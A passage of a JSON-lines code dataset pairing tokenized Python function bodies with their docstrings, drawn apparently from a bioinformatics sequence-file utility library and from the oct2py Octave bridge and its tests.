False.\n\n        Returns:\n            float: GC content calculated as the number of G, C, and S divided\n            by the number of (non-N) bases (length).", "id": "f364:c1:m31"}
{"signature": "def subseq(self, start, end):", "body": "return Fastq(self.id, self.seq[start:end], self.qual[start:end])<EOL>", "docstring": "Returns Fastq object with the same name, of the bases from start to end, but not including end", "id": "f364:c3:m3"}
{"signature": "def revcomp(self):", "body": "super().revcomp()<EOL>self.qual = self.qual[::-<NUM_LIT:1>]<EOL>", "docstring": "Reverse complements the sequence", "id": "f364:c3:m5"}
{"signature": "def trim(self, start, end):", "body": "super().trim(start, end)<EOL>self.qual = self.qual[start:len(self.qual) - end]<EOL>", "docstring": "Removes first 'start'/'end' bases off the start/end of the sequence", "id": "f364:c3:m6"}
{"signature": "def trim_Ns(self):", "body": "<EOL>i = <NUM_LIT:0><EOL>while i < len(self) and self.seq[i] in '<STR_LIT>':<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT>self.seq = self.seq[i:]<EOL>self.qual = self.qual[i:]<EOL>self.seq = self.seq.rstrip('<STR_LIT>')<EOL>self.qual = self.qual[:len(self.seq)]<EOL>", "docstring": "Removes any leading or trailing N or n characters from the sequence", "id": "f364:c3:m9"}
{"signature": "def replace_interval(self, start, end, new, qual_string):", "body": "if len(new) != len(qual_string):<EOL><INDENT>raise Error('<STR_LIT>')<EOL><DEDENT>super().replace_interval(start, end, new)<EOL>self.qual = self.qual[<NUM_LIT:0>:start] + qual_string + self.qual[end + <NUM_LIT:1>:]<EOL>", "docstring": "Replaces the sequence from start to end with the sequence \"new", "id": "f364:c3:m10"}
{"signature": "def translate(self):", "body": "fa = super().translate()<EOL>return Fastq(fa.id, fa.seq, '<STR_LIT:I>'*len(fa.seq))<EOL>", "docstring": "Returns a Fasta sequence, translated into amino acids. Starts translating from 'frame', where frame expected to be 0,1 or 2", "id": "f364:c3:m11"}
{"signature": "def acgtn_only(infile, outfile):", "body": "f = utils.open_file_write(outfile)<EOL>for seq in sequences.file_reader(infile):<EOL><INDENT>seq.replace_non_acgt()<EOL>print(seq, file=f)<EOL><DEDENT>utils.close(f)<EOL>", "docstring": "Replace every non-acgtn (case insensitve) character with an N", "id": "f405:m0"}
{"signature": "def caf_to_fastq(infile, outfile, min_length=<NUM_LIT:0>, trim=False):", "body": "caf_reader = caf.file_reader(infile)<EOL>fout = utils.open_file_write(outfile)<EOL>for c in caf_reader:<EOL><INDENT>if trim:<EOL><INDENT>if c.clip_start is not None and c.clip_end is not None:<EOL><INDENT>c.seq.seq = c.seq.seq[c.clip_start:c.clip_end + <NUM_LIT:1>]<EOL>c.seq.qual = c.seq.qual[c.clip_start:c.clip_end + <NUM_LIT:1>]<EOL><DEDENT>else:<EOL><INDENT>print('<STR_LIT>', c.id, file=sys.stderr)<EOL><DEDENT><DEDENT>if len(c.seq) >= min_length:<EOL><INDENT>print(c.seq, file=fout)<EOL><DEDENT><DEDENT>utils.close(fout)<EOL>", "docstring": "Convert a CAF file to fastq. Reads shorter than min_length are not output. If clipping information is in the CAF file (with a line Clipping QUAL ...) and trim=True, then trim the reads", "id": "f405:m1"}
{"signature": "def count_sequences(infile):", "body": "seq_reader = sequences.file_reader(infile)<EOL>n = <NUM_LIT:0><EOL>for seq in seq_reader:<EOL><INDENT>n += <NUM_LIT:1><EOL><DEDENT>return n<EOL>", "docstring": "Returns the number of sequences in a file", "id": "f405:m3"}
{"signature": "def interleave(infile_1, infile_2, outfile, suffix1=None, suffix2=None):", "body": "seq_reader_1 = sequences.file_reader(infile_1)<EOL>seq_reader_2 = sequences.file_reader(infile_2)<EOL>f_out = utils.open_file_write(outfile)<EOL>for seq_1 in seq_reader_1:<EOL><INDENT>try:<EOL><INDENT>seq_2 = next(seq_reader_2)<EOL><DEDENT>except:<EOL><INDENT>utils.close(f_out)<EOL>raise Error('<STR_LIT>', seq_1.id, '<STR_LIT>')<EOL><DEDENT>if suffix1 is not None and not seq_1.id.endswith(suffix1):<EOL><INDENT>seq_1.id += suffix1<EOL><DEDENT>if suffix2 is not None and not seq_2.id.endswith(suffix2):<EOL><INDENT>seq_2.id += suffix2<EOL><DEDENT>print(seq_1, file=f_out)<EOL>print(seq_2, file=f_out)<EOL><DEDENT>try:<EOL><INDENT>seq_2 = next(seq_reader_2)<EOL><DEDENT>except:<EOL><INDENT>seq_2 = None<EOL><DEDENT>if seq_2 is not None:<EOL><INDENT>utils.close(f_out)<EOL>raise Error('<STR_LIT>', seq_2.id, '<STR_LIT>')<EOL><DEDENT>utils.close(f_out)<EOL>", "docstring": "Makes interleaved file from two sequence files. If used, will append suffix1 onto end\n    of every sequence name in infile_1, unless it already ends with suffix1. Similar for sufffix2.", "id": "f405:m16"}
{"signature": "def make_random_contigs(contigs, length, outfile, name_by_letters=False, prefix='<STR_LIT>', seed=None, first_number=<NUM_LIT:1>):", "body": "random.seed(a=seed)<EOL>fout = utils.open_file_write(outfile)<EOL>letters = list('<STR_LIT>')<EOL>letters_index = <NUM_LIT:0><EOL>for i in range(contigs):<EOL><INDENT>if name_by_letters:<EOL><INDENT>name = letters[letters_index]<EOL>letters_index += <NUM_LIT:1><EOL>if letters_index == len(letters):<EOL><INDENT>letters_index = <NUM_LIT:0><EOL><DEDENT><DEDENT>else:<EOL><INDENT>name = str(i + first_number)<EOL><DEDENT>fa = sequences.Fasta(prefix + name, '<STR_LIT>'.join([random.choice('<STR_LIT>') for x in range(length)]))<EOL>print(fa, file=fout)<EOL><DEDENT>utils.close(fout)<EOL>", "docstring": "Makes a multi fasta file of random sequences, all the same length", "id": "f405:m17"}
{"signature": "def mean_length(infile, limit=None):", "body": "total = <NUM_LIT:0><EOL>count = <NUM_LIT:0><EOL>seq_reader = sequences.file_reader(infile)<EOL>for seq in seq_reader:<EOL><INDENT>total += len(seq)<EOL>count += <NUM_LIT:1><EOL>if limit is not None and count >= limit:<EOL><INDENT>break<EOL><DEDENT><DEDENT>assert count > <NUM_LIT:0><EOL>return total / count<EOL>", "docstring": "Returns the mean length of the sequences in the input file. By default uses all sequences. To limit to the first N sequences, use limit=N", "id": "f405:m18"}
{"signature": "def merge_to_one_seq(infile, outfile, seqname='<STR_LIT>'):", "body": "seq_reader = sequences.file_reader(infile)<EOL>seqs = []<EOL>for seq in seq_reader:<EOL><INDENT>seqs.append(copy.copy(seq))<EOL><DEDENT>new_seq = '<STR_LIT>'.join([seq.seq for seq in seqs])<EOL>if type(seqs[<NUM_LIT:0>]) == sequences.Fastq:<EOL><INDENT>new_qual = '<STR_LIT>'.join([seq.qual for seq in seqs])<EOL>seqs[:] = []<EOL>merged = sequences.Fastq(seqname, new_seq, new_qual)<EOL><DEDENT>else:<EOL><INDENT>merged = sequences.Fasta(seqname, new_seq)<EOL>seqs[:] = []<EOL><DEDENT>f = utils.open_file_write(outfile)<EOL>print(merged, file=f)<EOL>utils.close(f)<EOL>", "docstring": "Takes a multi fasta or fastq file and writes a new file that contains just one sequence, with the original sequences catted together, preserving their order", "id": "f405:m19"}
{"signature": "def scaffolds_to_contigs(infile, outfile, number_contigs=False):", "body": "seq_reader = sequences.file_reader(infile)<EOL>fout = utils.open_file_write(outfile)<EOL>for seq in seq_reader:<EOL><INDENT>contigs = seq.contig_coords()<EOL>counter = <NUM_LIT:1><EOL>for contig in contigs:<EOL><INDENT>if number_contigs:<EOL><INDENT>name = seq.id + '<STR_LIT:.>' + str(counter)<EOL>counter += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>name = '<STR_LIT:.>'.join([seq.id, str(contig.start + <NUM_LIT:1>), str(contig.end + <NUM_LIT:1>)])<EOL><DEDENT>print(sequences.Fasta(name, seq[contig.start:contig.end+<NUM_LIT:1>]), file=fout)<EOL><DEDENT><DEDENT>utils.close(fout)<EOL>", "docstring": "Makes a file of contigs from scaffolds by splitting at every N.\n       Use number_contigs=True to add .1, .2, etc onto end of each\n       contig, instead of default to append coordinates.", "id": "f405:m21"}
{"signature": "def sort_by_size(infile, outfile, smallest_first=False):", "body": "seqs = {}<EOL>file_to_dict(infile, seqs)<EOL>seqs = list(seqs.values())<EOL>seqs.sort(key=lambda x: len(x), reverse=not smallest_first)<EOL>fout = utils.open_file_write(outfile)<EOL>for seq in seqs:<EOL><INDENT>print(seq, file=fout)<EOL><DEDENT>utils.close(fout)<EOL>", "docstring": "Sorts input sequence file by biggest sequence first, writes sorted output file. Set smallest_first=True to have smallest first", "id": "f405:m24"}
{"signature": "def sort_by_name(infile, outfile):", "body": "seqs = {}<EOL>file_to_dict(infile, seqs)<EOL>fout = utils.open_file_write(outfile)<EOL>for name in sorted(seqs):<EOL><INDENT>print(seqs[name], file=fout)<EOL><DEDENT>utils.close(fout)<EOL>", "docstring": "Sorts input sequence file by sort -d -k1,1, writes sorted output file.", "id": "f405:m25"}
{"signature": "def to_fastg(infile, outfile, circular=None):", "body": "if circular is None:<EOL><INDENT>to_circularise = set()<EOL><DEDENT>elif type(circular) is not set:<EOL><INDENT>f = utils.open_file_read(circular)<EOL>to_circularise = set([x.rstrip() for x in f.readlines()])<EOL>utils.close(f)<EOL><DEDENT>else:<EOL><INDENT>to_circularise = circular<EOL><DEDENT>seq_reader = sequences.file_reader(infile)<EOL>fout = utils.open_file_write(outfile)<EOL>nodes = <NUM_LIT:1><EOL>for seq in seq_reader:<EOL><INDENT>new_id = '<STR_LIT:_>'.join([<EOL>'<STR_LIT>', str(nodes),<EOL>'<STR_LIT>', str(len(seq)),<EOL>'<STR_LIT>', '<STR_LIT:1>',<EOL>'<STR_LIT>', seq.id<EOL>])<EOL>if seq.id in to_circularise:<EOL><INDENT>seq.id = new_id + '<STR_LIT::>' + new_id + '<STR_LIT:;>'<EOL>print(seq, file=fout)<EOL>seq.revcomp()<EOL>seq.id = new_id + \"<STR_LIT>\" + new_id + \"<STR_LIT>\"<EOL>print(seq, file=fout)<EOL><DEDENT>else:<EOL><INDENT>seq.id = new_id + '<STR_LIT:;>'<EOL>print(seq, file=fout)<EOL>seq.revcomp()<EOL>seq.id = new_id + \"<STR_LIT>\"<EOL>print(seq, file=fout)<EOL><DEDENT>nodes += <NUM_LIT:1><EOL><DEDENT>utils.close(fout)<EOL>", "docstring": "Writes a FASTG file in SPAdes format from input file. Currently only whether or not a sequence is circular is supported. Put circular=set of ids, or circular=filename to make those sequences circular in the output. Puts coverage=1 on all contigs", "id": "f405:m26"}
{"signature": "def length_offsets_from_fai(fai_file):", "body": "positions = {}<EOL>total_length = <NUM_LIT:0><EOL>f = utils.open_file_read(fai_file)<EOL>for line in f:<EOL><INDENT>try:<EOL><INDENT>(name, length) = line.rstrip().split()[:<NUM_LIT:2>]<EOL>length = int(length)<EOL><DEDENT>except:<EOL><INDENT>raise Error('<STR_LIT>' + fai_file + '<STR_LIT:\\n>' + line)<EOL><DEDENT>positions[name] = total_length<EOL>total_length += length<EOL><DEDENT>utils.close(f)<EOL>return positions<EOL>", "docstring": "Returns a dictionary of positions of the start of each sequence, as\n       if all the sequences were catted into one sequence.\n       eg if file has three sequences, seq1 10bp, seq2 30bp, seq3 20bp, then\n       the output would be: {'seq1': 0, 'seq2': 10, 'seq3': 40}", "id": "f405:m31"}
{"signature": "def split_by_base_count(infile, outfiles_prefix, max_bases, max_seqs=None):", "body": "seq_reader = sequences.file_reader(infile)<EOL>base_count = <NUM_LIT:0><EOL>file_count = <NUM_LIT:1><EOL>seq_count = <NUM_LIT:0><EOL>fout = None<EOL>if max_seqs is None:<EOL><INDENT>max_seqs = float('<STR_LIT>')<EOL><DEDENT>for seq in seq_reader:<EOL><INDENT>if base_count == <NUM_LIT:0>:<EOL><INDENT>fout = utils.open_file_write(outfiles_prefix + '<STR_LIT:.>' + str(file_count))<EOL>file_count += <NUM_LIT:1><EOL><DEDENT>if base_count + len(seq) > max_bases or seq_count >= max_seqs:<EOL><INDENT>if base_count == <NUM_LIT:0>:<EOL><INDENT>print(seq, file=fout)<EOL>utils.close(fout)<EOL><DEDENT>else:<EOL><INDENT>utils.close(fout)<EOL>fout = utils.open_file_write(outfiles_prefix + '<STR_LIT:.>' + str(file_count))<EOL>print(seq, file=fout)<EOL>base_count = len(seq)<EOL>file_count += <NUM_LIT:1><EOL>seq_count = <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>base_count += len(seq)<EOL>seq_count += <NUM_LIT:1><EOL>print(seq, file=fout)<EOL><DEDENT><DEDENT>utils.close(fout)<EOL>", "docstring": "Splits a fasta/q file into separate files, file size determined by number of bases.\n\n    Puts <= max_bases in each split file The exception is a single sequence >=max_bases\n    is put in its own file.  This does not split sequences.", "id": "f405:m32"}
{"signature": "def split_by_fixed_size(infile, outfiles_prefix, chunk_size, tolerance, skip_if_all_Ns=False):", "body": "file_count = <NUM_LIT:1><EOL>coords = []<EOL>small_sequences = []  <EOL>seq_reader = sequences.file_reader(infile)<EOL>f_coords = utils.open_file_write(outfiles_prefix + '<STR_LIT>')<EOL>for seq in seq_reader:<EOL><INDENT>if skip_if_all_Ns and seq.is_all_Ns():<EOL><INDENT>continue<EOL><DEDENT>if len(seq) < chunk_size:<EOL><INDENT>small_sequences.append(copy.copy(seq))<EOL><DEDENT>elif len(seq) <= chunk_size + tolerance:<EOL><INDENT>f = utils.open_file_write(outfiles_prefix + '<STR_LIT:.>' + str(file_count))<EOL>print(seq, file=f)<EOL>utils.close(f)<EOL>file_count += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>chunks = [(x,x+chunk_size) for x in range(<NUM_LIT:0>, len(seq), chunk_size)]<EOL>if chunks[-<NUM_LIT:1>][<NUM_LIT:1>] - <NUM_LIT:1> > len(seq):<EOL><INDENT>chunks[-<NUM_LIT:1>] = (chunks[-<NUM_LIT:1>][<NUM_LIT:0>], len(seq))<EOL><DEDENT>if len(chunks) > <NUM_LIT:1> and (chunks[-<NUM_LIT:1>][<NUM_LIT:1>] - chunks[-<NUM_LIT:1>][<NUM_LIT:0>]) <= tolerance:<EOL><INDENT>chunks[-<NUM_LIT:2>] = (chunks[-<NUM_LIT:2>][<NUM_LIT:0>], chunks[-<NUM_LIT:1>][<NUM_LIT:1>])<EOL>chunks.pop()<EOL><DEDENT>offset = <NUM_LIT:0><EOL>for chunk in chunks:<EOL><INDENT>if not(skip_if_all_Ns and seq.is_all_Ns(start=chunk[<NUM_LIT:0>], end=chunk[<NUM_LIT:1>]-<NUM_LIT:1>)):<EOL><INDENT>f = utils.open_file_write(outfiles_prefix + '<STR_LIT:.>' + str(file_count))<EOL>chunk_id = seq.id + '<STR_LIT::>' + str(chunk[<NUM_LIT:0>]+<NUM_LIT:1>) + '<STR_LIT:->' + str(chunk[<NUM_LIT:1>])<EOL>print(sequences.Fasta(chunk_id, seq[chunk[<NUM_LIT:0>]:chunk[<NUM_LIT:1>]]), file=f)<EOL>print(chunk_id, seq.id, offset, sep='<STR_LIT:\\t>', file=f_coords)<EOL>utils.close(f)<EOL>file_count += <NUM_LIT:1><EOL><DEDENT>offset += chunk[<NUM_LIT:1>] - chunk[<NUM_LIT:0>]<EOL><DEDENT><DEDENT><DEDENT>if len(small_sequences):<EOL><INDENT>f = utils.open_file_write(outfiles_prefix + '<STR_LIT:.>' + str(file_count))<EOL>file_count += <NUM_LIT:1><EOL>base_count = <NUM_LIT:0><EOL>for seq in small_sequences:<EOL><INDENT>if base_count > <NUM_LIT:0> and base_count + len(seq) > chunk_size + tolerance:<EOL><INDENT>utils.close(f)<EOL>f = utils.open_file_write(outfiles_prefix + '<STR_LIT:.>' + str(file_count))<EOL>file_count += <NUM_LIT:1><EOL>base_count = <NUM_LIT:0><EOL><DEDENT>print(seq, file=f)<EOL>base_count += len(seq)<EOL><DEDENT>utils.close(f)<EOL><DEDENT>", "docstring": "Splits  fasta/q file into separate files, with up to (chunk_size + tolerance) bases in each file", "id": "f405:m33"}
{"signature": "def split_by_fixed_size_onefile(infile, outfile, chunk_size, tolerance, skip_if_all_Ns=False):", "body": "seq_reader = sequences.file_reader(infile)<EOL>f_out = utils.open_file_write(outfile)<EOL>for seq in seq_reader:<EOL><INDENT>for i in range(<NUM_LIT:0>, len(seq), chunk_size):<EOL><INDENT>if i + chunk_size + tolerance >= len(seq):<EOL><INDENT>end = len(seq)<EOL><DEDENT>else:<EOL><INDENT>end = i + chunk_size<EOL><DEDENT>subseq = seq.subseq(i, end)<EOL>if not (skip_if_all_Ns and subseq.is_all_Ns()):<EOL><INDENT>subseq.id += '<STR_LIT:.>' + str(i+<NUM_LIT:1>) + '<STR_LIT:_>' + str(end)<EOL>print(subseq, file=f_out)<EOL><DEDENT>if end == len(seq):<EOL><INDENT>break<EOL><DEDENT><DEDENT><DEDENT>utils.close(f_out)<EOL>", "docstring": "Splits each sequence in infile into chunks of fixed size, last chunk can be up to\n       (chunk_size + tolerance) in length", "id": "f405:m34"}
{"signature": "def stats_from_fai(infile):", "body": "f = utils.open_file_read(infile)<EOL>try:<EOL><INDENT>lengths = sorted([int(line.split('<STR_LIT:\\t>')[<NUM_LIT:1>]) for line in f], reverse=True)<EOL><DEDENT>except:<EOL><INDENT>raise Error('<STR_LIT>' + infile)<EOL><DEDENT>utils.close(f)<EOL>stats = {}<EOL>if len(lengths) > <NUM_LIT:0>:<EOL><INDENT>stats['<STR_LIT>'] = max(lengths)<EOL>stats['<STR_LIT>'] = min(lengths)<EOL>stats['<STR_LIT>'] = sum(lengths)<EOL>stats['<STR_LIT>'] = stats['<STR_LIT>'] / len(lengths)<EOL>stats['<STR_LIT>'] = len(lengths)<EOL>cumulative_length = <NUM_LIT:0><EOL>for length in lengths:<EOL><INDENT>cumulative_length += length<EOL>if cumulative_length >= <NUM_LIT:0.5> * stats['<STR_LIT>']:<EOL><INDENT>stats['<STR_LIT>'] = length<EOL>break<EOL><DEDENT><DEDENT><DEDENT>else:<EOL><INDENT>stats = {x: <NUM_LIT:0> for x in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>')}<EOL><DEDENT>return stats<EOL>", "docstring": "Returns dictionary of length stats from an fai file. Keys are: longest, shortest, mean, total_length, N50, number", "id": "f405:m37"}
{"signature": "def to_boulderio(infile, outfile):", "body": "seq_reader = sequences.file_reader(infile)<EOL>f_out = utils.open_file_write(outfile)<EOL>for sequence in seq_reader:<EOL><INDENT>print(\"<STR_LIT>\" + sequence.id, file=f_out)<EOL>print(\"<STR_LIT>\" + sequence.seq, file=f_out)<EOL>print(\"<STR_LIT:=>\", file=f_out)<EOL><DEDENT>utils.close(f_out)<EOL>", "docstring": "Converts input sequence file into a \"Boulder-IO format\", as used by primer3", "id": "f405:m38"}
{"signature": "def intersection(l1, l2):", "body": "if len(l1) == <NUM_LIT:0> or len(l2) == <NUM_LIT:0>:<EOL><INDENT>return []<EOL><DEDENT>out = []<EOL>l2_pos = <NUM_LIT:0><EOL>for l in l1:<EOL><INDENT>while l2_pos < len(l2) and l2[l2_pos].end < l.start:<EOL><INDENT>l2_pos += <NUM_LIT:1><EOL><DEDENT>if l2_pos == len(l2):<EOL><INDENT>break<EOL><DEDENT>while l2_pos < len(l2) and l.intersects(l2[l2_pos]):<EOL><INDENT>out.append(l.intersection(l2[l2_pos]))<EOL>l2_pos += <NUM_LIT:1><EOL><DEDENT>l2_pos = max(<NUM_LIT:0>, l2_pos - <NUM_LIT:1>)<EOL><DEDENT>return out<EOL>", "docstring": "Returns intersection of two lists.  Assumes the lists are sorted by start positions", "id": "f408:m0"}
{"signature": "def merge_overlapping_in_list(l):", "body": "i = <NUM_LIT:0><EOL>l.sort()<EOL>while i < len(l) - <NUM_LIT:1>:<EOL><INDENT>u = l[i].union(l[i+<NUM_LIT:1>])<EOL>if u is not None:<EOL><INDENT>l[i] = u<EOL>l.pop(i+<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Sorts list, merges any overlapping intervals, and also adjacent intervals. e.g.\n       [0,1], [1,2] would be merge to [0,.2].", "id": "f408:m1"}
{"signature": "def remove_contained_in_list(l):", "body": "i = <NUM_LIT:0><EOL>l.sort()<EOL>while i < len(l) - <NUM_LIT:1>:<EOL><INDENT>if l[i+<NUM_LIT:1>].contains(l[i]):<EOL><INDENT>l.pop(i)<EOL><DEDENT>elif l[i].contains(l[i+<NUM_LIT:1>]):<EOL><INDENT>l.pop(i+<NUM_LIT:1>)<EOL><DEDENT>else:<EOL><INDENT>i += <NUM_LIT:1><EOL><DEDENT><DEDENT>", "docstring": "Sorts list in place, then removes any intervals that are completely\n       contained inside another interval", "id": "f408:m2"}
{"signature": "def length_sum_from_list(l):", "body": "return sum([len(x) for x in l])<EOL>", "docstring": "Returns total length of intervals from a list", "id": "f408:m3"}
{"signature": "def distance_to_point(self, p):", "body": "if self.start <= p <= self.end:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>else:<EOL><INDENT>return min(abs(self.start - p), abs(self.end - p))<EOL><DEDENT>", "docstring": "Returns the distance from the point to the interval. Zero if the point lies inside the interval.", "id": "f408:c1:m7"}
{"signature": "def intersects(self, i):", "body": "return self.start <= i.end and i.start <= self.end<EOL>", "docstring": "Returns true iff this interval intersects the interval i", "id": "f408:c1:m8"}
{"signature": "def contains(self, i):", "body": "return self.start <= i.start and i.end <= self.end<EOL>", "docstring": "Returns true iff this interval contains the interval i", "id": "f408:c1:m9"}
{"signature": "def union(self, i):", "body": "if self.intersects(i) or self.end + <NUM_LIT:1> == i.start or i.end + <NUM_LIT:1> == self.start:<EOL><INDENT>return Interval(min(self.start, i.start), max(self.end, i.end))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "If intervals intersect, returns their union, otherwise returns None", "id": "f408:c1:m10"}
{"signature": "def union_fill_gap(self, i):", "body": "return Interval(min(self.start, i.start), max(self.end, i.end))<EOL>", "docstring": "Like union, but ignores whether the two intervals intersect or not", "id": "f408:c1:m11"}
{"signature": "def intersection(self, i):", "body": "if self.intersects(i):<EOL><INDENT>return Interval(max(self.start, i.start), min(self.end, i.end))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "If intervals intersect, returns their intersection, otherwise returns None", "id": "f408:c1:m12"}
{"signature": "def _make_user_class(session, name):", "body": "attrs = session.eval('<STR_LIT>' % name, nout=<NUM_LIT:1>).ravel().tolist()<EOL>methods = session.eval('<STR_LIT>' % name, nout=<NUM_LIT:1>).ravel().tolist()<EOL>ref = weakref.ref(session)<EOL>doc = _DocDescriptor(ref, name)<EOL>values = dict(__doc__=doc, _name=name, _ref=ref, _attrs=attrs,<EOL>__module__='<STR_LIT>')<EOL>for method in methods:<EOL><INDENT>doc = _MethodDocDescriptor(ref, name, method)<EOL>cls_name = '<STR_LIT>' % (name, method)<EOL>method_values = dict(__doc__=doc)<EOL>method_cls = type(str(cls_name),<EOL>(OctaveUserClassMethod,), method_values)<EOL>values[method] = method_cls(ref, method, name)<EOL><DEDENT>for attr in attrs:<EOL><INDENT>values[attr] = OctaveUserClassAttr(ref, attr, attr)<EOL><DEDENT>return type(str(name), (OctaveUserClass,), values)<EOL>", "docstring": "Make an Octave class for a given class name", "id": "f410:m0"}
{"signature": "def _make_variable_ptr_instance(session, name):", "body": "return OctaveVariablePtr(weakref.ref(session), name, name)<EOL>", "docstring": "Make a pointer instance for a given variable by name.", "id": "f410:m2"}
{"signature": "def __init__(self, *inputs, **kwargs):", "body": "addr = self._address = '<STR_LIT>' % (self._name, id(self))<EOL>self._ref().feval(self._name, *inputs, store_as=addr, **kwargs)<EOL>", "docstring": "Create a new instance with the user class constructor.", "id": "f410:c7:m0"}
{"signature": "@classmethod<EOL><INDENT>def from_value(cls, value):<DEDENT>", "body": "instance = OctaveUserClass.__new__(cls)<EOL>instance._address = '<STR_LIT>' % (instance._name, id(instance))<EOL>instance._ref().push(instance._address, value)<EOL>return instance<EOL>", "docstring": "This is how an instance is created when we read a\n           MatlabObject from a MAT file.", "id": "f410:c7:m1"}
{"signature": "@classmethod<EOL><INDENT>def to_value(cls, instance):<DEDENT>", "body": "if not isinstance(instance, OctaveUserClass) or not instance._attrs:<EOL><INDENT>return dict()<EOL><DEDENT>dtype = []<EOL>values = []<EOL>for attr in instance._attrs:<EOL><INDENT>dtype.append((str(attr), object))<EOL>values.append(getattr(instance, attr))<EOL><DEDENT>struct = np.array([tuple(values)], dtype)<EOL>return MatlabObject(struct, instance._name)<EOL>", "docstring": "Convert to a value to send to Octave.", "id": "f410:c7:m2"}
{"signature": "@classmethod<EOL><INDENT>def to_pointer(cls, instance):<DEDENT>", "body": "return OctavePtr(instance._ref, instance._name, instance._address)<EOL>", "docstring": "Get a pointer to the private object.", "id": "f410:c7:m3"}
{"signature": "def demo(delay=<NUM_LIT:1>, interactive=True):", "body": "script = \"\"\"<STR_LIT>\"\"\"<EOL>if not PY2:<EOL><INDENT>script = script.replace('<STR_LIT>', '<STR_LIT:input>')<EOL><DEDENT>for line in script.strip().split('<STR_LIT:\\n>'):<EOL><INDENT>line = line.strip()<EOL>if not '<STR_LIT>' in line:<EOL><INDENT>time.sleep(delay)<EOL>print(\"<STR_LIT>\".format(line))<EOL>time.sleep(delay)<EOL><DEDENT>if not interactive:<EOL><INDENT>if '<STR_LIT>' in line or '<STR_LIT>' in line or '<STR_LIT>' in line:<EOL><INDENT>line = '<STR_LIT>'<EOL><DEDENT><DEDENT>exec(line)<EOL><DEDENT>", "docstring": "Play a demo script showing most of the oct2py api features.\n\nParameters\n==========\ndelay : float\n    Time between each command in seconds.", "id": "f411:m0"}
{"signature": "def helper(self, base, keys, types):", "body": "for key, type_ in zip(keys, types):<EOL><INDENT>if not type(base[key]) == type_:<EOL><INDENT>try:<EOL><INDENT>assert type_(base[key]) == base[key], key<EOL><DEDENT>except ValueError:<EOL><INDENT>assert np.allclose(type_(base[key]), base[key])<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Perform type checking of the values\n\nParameters\n==========\nbase : dict\n    Sub-dictionary we are accessing.\nkeys : array-like\n    List of keys to test in base.\ntypes : array-like\n    List of expected return types for the keys.", "id": "f412:c0:m2"}
{"signature": "def nested_equal(self, val1, val2):", "body": "if isinstance(val1, list):<EOL><INDENT>for (subval1, subval2) in zip(val1, val2):<EOL><INDENT>if isinstance(subval1, list):<EOL><INDENT>self.nested_equal(subval1, subval2)<EOL><DEDENT>elif isinstance(subval1, np.ndarray):<EOL><INDENT>np.allclose(subval1, subval2)<EOL><DEDENT>else:<EOL><INDENT>assert subval1 == subval2<EOL><DEDENT><DEDENT><DEDENT>elif isinstance(val1, np.ndarray):<EOL><INDENT>np.allclose(val1, np.array(val2))<EOL><DEDENT>elif isinstance(val1, (str, unicode)):<EOL><INDENT>assert val1 == val2<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>assert (np.alltrue(np.isnan(val1)) and<EOL>np.alltrue(np.isnan(val2)))<EOL><DEDENT>except (AssertionError, NotImplementedError):<EOL><INDENT>assert val1 == val2<EOL><DEDENT><DEDENT>", "docstring": "Test for equality in a nested list or ndarray", "id": "f413:c0:m2"}
{"signature": "def helper(self, outgoing, expected_type=None):", "body": "incoming = self.oc.roundtrip(outgoing)<EOL>if expected_type is None:<EOL><INDENT>expected_type = type(outgoing)<EOL><DEDENT>self.nested_equal(incoming, outgoing)<EOL>try:<EOL><INDENT>assert type(incoming) == expected_type<EOL><DEDENT>except AssertionError:<EOL><INDENT>if type(incoming) == np.float32 and expected_type == np.float64:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>", "docstring": "Use roundtrip.m to make sure the data goes out and back intact.\n\nParameters\n==========\noutgoing : object\n    Object to send to Octave.", "id": "f413:c0:m3"}
{"signature": "def helper(self, outgoing, incoming=None, expected_type=None):", "body": "if incoming is None:<EOL><INDENT>incoming = self.oc.roundtrip(outgoing)<EOL><DEDENT>if not expected_type:<EOL><INDENT>for out_type, _, in_type in TYPE_CONVERSIONS:<EOL><INDENT>if out_type == type(outgoing):<EOL><INDENT>expected_type = in_type<EOL>break<EOL><DEDENT><DEDENT><DEDENT>if not expected_type:<EOL><INDENT>expected_type = np.ndarray<EOL><DEDENT>try:<EOL><INDENT>assert incoming == outgoing<EOL><DEDENT>except ValueError:<EOL><INDENT>assert np.allclose(np.array(incoming), np.array(outgoing))<EOL><DEDENT>if type(incoming) != expected_type:<EOL><INDENT>incoming = self.oc.roundtrip(outgoing)<EOL>assert expected_type(incoming) == incoming<EOL><DEDENT>", "docstring": "Uses roundtrip.m to make sure the data goes out and back intact.\n\nParameters\n==========\noutgoing : object\n    Object to send to Octave\nincoming : object, optional\n    Object already retreived from Octave", "id": "f413:c1:m2"}
{"signature": "@classmethod<EOL><INDENT>def setUpClass(cls):<DEDENT>", "body": "if not sys.stdin.encoding:<EOL><INDENT>sys.stdin = codecs.getreader('<STR_LIT:utf-8>')(sys.stdin)<EOL><DEDENT>cls.ip = get_ipython()<EOL>cls.ip.magic('<STR_LIT>')<EOL>cls.ip.ex('<STR_LIT>')<EOL>cls.svgs_generated = <NUM_LIT:0><EOL>", "docstring": "Set up an IPython session just once.\n        It'd be safer to set it up for each test, but for now,\n        I'm mimicking the IPython team's logic.", "id": "f417:c0:m0"}
{"signature": "def load_ipython_extension(ip):", "body": "ip.register_magics(OctaveMagics)<EOL>", "docstring": "Load the extension in IPython.", "id": "f418:m0"}
{"signature": "def __init__(self, shell):", "body": "super(OctaveMagics, self).__init__(shell)<EOL>self._oct = oct2py.octave<EOL>self._display = display<EOL>", "docstring": "Parameters\n----------\nshell : IPython shell", "id": "f418:c0:m0"}
